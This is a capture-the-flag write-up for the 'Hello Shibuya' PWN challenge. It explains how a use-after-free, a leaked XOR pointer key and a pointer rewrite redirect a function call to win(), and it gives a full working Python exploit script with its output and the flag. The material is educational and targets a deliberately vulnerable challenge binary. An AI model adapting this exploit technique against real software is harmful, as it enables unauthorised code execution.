Challenge Name: Hello Shibuya
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Tokyo Jujutsu High’s vessel registry has started mutating cursed anchors. Find a way to break the domain ritual and extract the flag.
Connection: nc 172.205.208.94 9004
Challenge Overview#
This challenge is a clean heap-based pointer integrity bypass.
The app stores vessels on the heap, protects a function pointer with XOR mangling, and gives us just enough leakage to recover the key. Once we recover that key, we can redirect the ritual pointer to attacker-controlled memory and make Invoke domain call win().
In short: UAF state + key recovery + pointer rewrite = direct win() execution.
Initial Reconnaissance#
First, let’s inspect the binary:
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, not stripped
$ pwn checksec chall
[*] '.../chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Key observations:
- No PIE: code/global symbol addresses are fixed, so
winandritual_boxare stable. - NX enabled + canary present: classic stack BOF path is discouraged.
- Full RELRO: GOT overwrite route is closed.
- Not stripped: symbols like
win,ritual_box, andveil_keyare easy to identify.
This already hints that the intended path is not stack ROP, but a logic/heap pointer attack.
Binary Analysis#
Relevant Menu Surface#
The important menu actions are:
1. Summon vessel-> allocates and leaks heap pointer (Soul anchor at ...)2. Etch curse-> writes controlled bytes toslots[idx]->data3. Sequester vessel-> frees onlydata(record remains)5. Meditate on omen-> printsdata_ptr ^ veil_key6. Transmute anchor-> for released vessels, decodes input and assigns pointer7. Invoke domain-> demangles hook fromritual_boxand calls it
Core Primitives in Code#
sequester creates the stale state:
free(slots[idx]->data);
slots[idx]->released = 1;
meditate leaks encoded pointer material:
omen = ((uint64_t)(uintptr_t)slots[idx]->data) ^ veil_key;
printf("omen shard: 0x%llx\n", omen);
transmute lets us reassign a released slot’s pointer after XOR decode:
encoded = strtoull(tmp, NULL, 16);
decoded = ptr_demangle(encoded); // decoded = encoded ^ veil_key
slots[idx]->data = (char *)(uintptr_t)decoded;
invoke is the control-flow sink:
fn = (void (*)(void))(uintptr_t)ptr_demangle(ritual_box->mangled_hook);
fn();
So if we control ritual_box and place a valid mangled hook there, we control execution.
Exploitation Strategy#
We exploit this in four deterministic steps.
Step 1: Leak data_ptr#
summon prints Soul anchor at <ptr>, giving us the raw pointer for a controlled heap chunk.
Step 2: Recover veil_key#
For that same slot, meditate gives:
omen_shard = data_ptr ^ veil_key
Therefore:
veil_key = omen_shard ^ data_ptr
Step 3: Repoint write primitive to ritual_box#
Because released slots are still usable, we:
- release slot 1
- transmute slot 1 with encoded target:
encoded_anchor = ritual_box ^ veil_key
After internal decode, slots[1]->data = ritual_box.
Now etch(1, ...) writes directly to the global ritual_box pointer variable.
Step 4: Prepare fake ritual object and trigger call#
We place a forged first qword in our controlled heap chunk (slot 0 data):
encoded_win = win ^ veil_key
Then we overwrite ritual_box to point to that chunk:
etch(slot1, p64(leaked_slot0_ptr))
When we invoke domain, program does:
ritual_box->mangled_hook -> demangle with veil_key -> win
and prints the flag.
Gathering Concrete Targets#
Using nm:
$ nm -an chall | grep -E ' win$| ritual_box$| do_nothing$| veil_key$'
00000000004017e0 t do_nothing
00000000004018d0 T win
0000000000404060 b veil_key
0000000000404068 b ritual_box
win and ritual_box are fixed due to non-PIE, which makes the exploit very stable.
Final Exploit#
#!/usr/bin/env python3
import argparse
import socket
import struct
import subprocess
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
BINARY = ROOT / "host" / "chall"
PROMPT = b"> "
def sym(name: str) -> int:
out = subprocess.check_output(["nm", "-an", str(BINARY)], text=True)
for line in out.splitlines():
parts = line.split()
if len(parts) >= 3 and parts[2] == name:
return int(parts[0], 16)
raise RuntimeError(f"missing symbol: {name}")
class Tube:
def __init__(self, argv=None, cwd=None, host=None, port=None):
if host is not None and port is not None:
self.p = None
self.sock = socket.create_connection((host, port))
self.rfile = self.sock.makefile("rb", buffering=0)
self.wfile = self.sock.makefile("wb", buffering=0)
else:
self.p = subprocess.Popen(
argv,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=cwd,
)
self.sock = None
self.rfile = self.p.stdout
self.wfile = self.p.stdin
def recvuntil(self, token: bytes) -> bytes:
data = bytearray()
while not data.endswith(token):
chunk = self.rfile.read(1)
if not chunk:
raise EOFError(data.decode(errors="ignore"))
data += chunk
return bytes(data)
def recvline(self) -> bytes:
data = bytearray()
while True:
chunk = self.rfile.read(1)
if not chunk:
raise EOFError(data.decode(errors="ignore"))
data += chunk
if chunk == b"\n":
return bytes(data)
def sendline(self, data: str) -> None:
self.wfile.write(data.encode() + b"\n")
self.wfile.flush()
def send(self, data: bytes) -> None:
self.wfile.write(data)
self.wfile.flush()
def p64(x: int) -> bytes:
return struct.pack("<Q", x)
def choose(t: Tube, n: int) -> None:
t.sendline(str(n))
def summon(t: Tube, idx: int, size: int) -> int:
choose(t, 1)
t.recvuntil(b"seal index: ")
t.sendline(str(idx))
t.recvuntil(b"vessel size: ")
t.sendline(str(size))
t.recvuntil(b"Soul anchor at ")
leak = int(t.recvline().strip(), 16)
t.recvuntil(PROMPT)
return leak
def etch(t: Tube, idx: int, payload: bytes) -> None:
choose(t, 2)
t.recvuntil(b"seal index: ")
t.sendline(str(idx))
t.recvuntil(b"incantation: ")
t.send(payload)
t.recvuntil(PROMPT)
def sequester(t: Tube, idx: int) -> None:
choose(t, 3)
t.recvuntil(b"seal index: ")
t.sendline(str(idx))
t.recvuntil(PROMPT)
def meditate(t: Tube, idx: int) -> int:
choose(t, 5)
t.recvuntil(b"seal index: ")
t.sendline(str(idx))
t.recvuntil(b"omen shard: 0x")
omen = int(t.recvline().strip(), 16)
t.recvuntil(PROMPT)
return omen
def transmute(t: Tube, idx: int, encoded_target: int) -> None:
choose(t, 6)
t.recvuntil(b"seal index: ")
t.sendline(str(idx))
t.recvuntil(b"encoded anchor (hex): ")
t.sendline(f"{encoded_target:x}")
t.recvuntil(PROMPT)
def invoke(t: Tube) -> str:
choose(t, 7)
t.recvuntil(b"CyberTrace{")
return (b"CyberTrace{" + t.recvline().strip()).decode()
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"))
args = parser.parse_args()
win = sym("win")
ritual_box = sym("ritual_box")
if args.remote:
host, port = args.remote[0], int(args.remote[1])
t = Tube(host=host, port=port)
else:
t = Tube([str(BINARY)], cwd=str(BINARY.parent))
t.recvuntil(PROMPT)
size = 0x90
leak = summon(t, 0, size)
summon(t, 1, size)
omen = meditate(t, 0)
veil_key = omen ^ leak
encoded_win = win ^ veil_key
etch(t, 0, p64(encoded_win).ljust(size, b"W"))
sequester(t, 1)
encoded_anchor = ritual_box ^ veil_key
transmute(t, 1, encoded_anchor)
etch(t, 1, p64(leak).ljust(size, b"A"))
print(invoke(t))
if __name__ == "__main__":
main()
Execution#
$ python3 solve.py --remote 172.205.208.94 9004
CyberTrace{Y0u_4r2_M7_Sp3c1Al_EneM7_XD}
Final Flag#
CyberTrace{Y0u_4r2_M7_Sp3c1Al_EneM7_XD}
Key Takeaways#
- Freeing only inner heap buffers while retaining object metadata is enough to create exploitable stale-pointer state.
- XOR pointer mangling is fragile when both encoded and raw forms of the same pointer are leakable.
- Non-PIE significantly improves reliability for symbol-targeted function-pointer hijacks.
- You do not always need a full ROP chain; a direct, integrity-bypassing function pointer pivot can be cleaner and more robust.





